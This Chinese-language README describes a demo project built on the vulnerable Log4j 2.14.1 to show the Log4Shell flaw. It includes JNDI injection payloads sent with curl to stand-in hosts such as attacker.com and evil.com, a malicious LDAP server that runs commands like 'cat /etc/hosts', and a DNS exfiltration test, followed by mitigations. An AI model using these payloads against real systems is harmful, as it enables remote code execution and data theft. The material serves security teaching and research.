
Demo of CVE-2021-44228 Log4Shell.
这是一个用于学习和研究 Log4j2 远程代码执行漏洞(Log4Shell)的演示项目。
此项目仅用于安全研究和教育目的,请勿在生产环境中使用!
本项目使用了存在严重安全漏洞的 Log4j 2.14.1 版本。
./mvnw clean package
./mvnw spring-boot:run
或者:
java -jar target/log4j2-bugmaker-0.0.1-SNAPSHOT.jar
打开浏览器访问:http://localhost:8080
curl -H "User-Agent: \${jndi:ldap://attacker.com/a}" http://localhost:8080/api/log
curl "http://localhost:8080/api/search?query=\${jndi:ldap://attacker.com/a}"
curl http://localhost:8080/api/health
Log4Shell (CVE-2021-44228) 是 Apache Log4j2 中的一个严重漏洞。当应用程序记录包含特殊格式字符串的用户输入时,Log4j2 会解析 JNDI 查找表达式,攻击者可以利用此特性执行远程代码。
${jndi:ldap://evil.com/a}
${jndi:rmi://evil.com/a}
${jndi:dns://evil.com/a}
${java:version}
${java:os}
${env:PATH}
将 Log4j2 升级到 2.17.1 或更高版本:
<properties>
<log4j2.version>2.17.1</log4j2.version>
</properties>
-Dlog4j2.formatMsgNoLookups=true
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
# 1. 运行自动化脚本
./setup-exploit-server.sh
# 2. 选择 JNDI-Injection-Exploit 工具
# 3. 输入要执行的命令(如 whoami 或 cat /etc/hosts)
# 4. 在另一个终端发送攻击载荷
# 启动恶意 LDAP 服务器
python3 simple-ldap-server.py "whoami"
# 或执行其他命令
python3 simple-ldap-server.py "cat /etc/hosts"
# 在另一个终端发送攻击载荷
curl -H 'User-Agent: ${jndi:ldap://YOUR_IP:1389/Exploit}' http://localhost:8080/api/log
# 运行 DNS 外带测试脚本
./test-dns-exfiltration.sh
# 按提示操作,访问 dnslog.cn 获取子域名
# 然后查看是否收到 DNS 查询请求
本项目采用 MIT License 开源协议。
特别声明:本项目仅用于教育和安全研究目的,使用者需自行承担使用风险。
未经授权对他人系统进行渗透测试是违法行为!本项目仅用于:
请遵守当地法律法规,负责任地使用这些知识。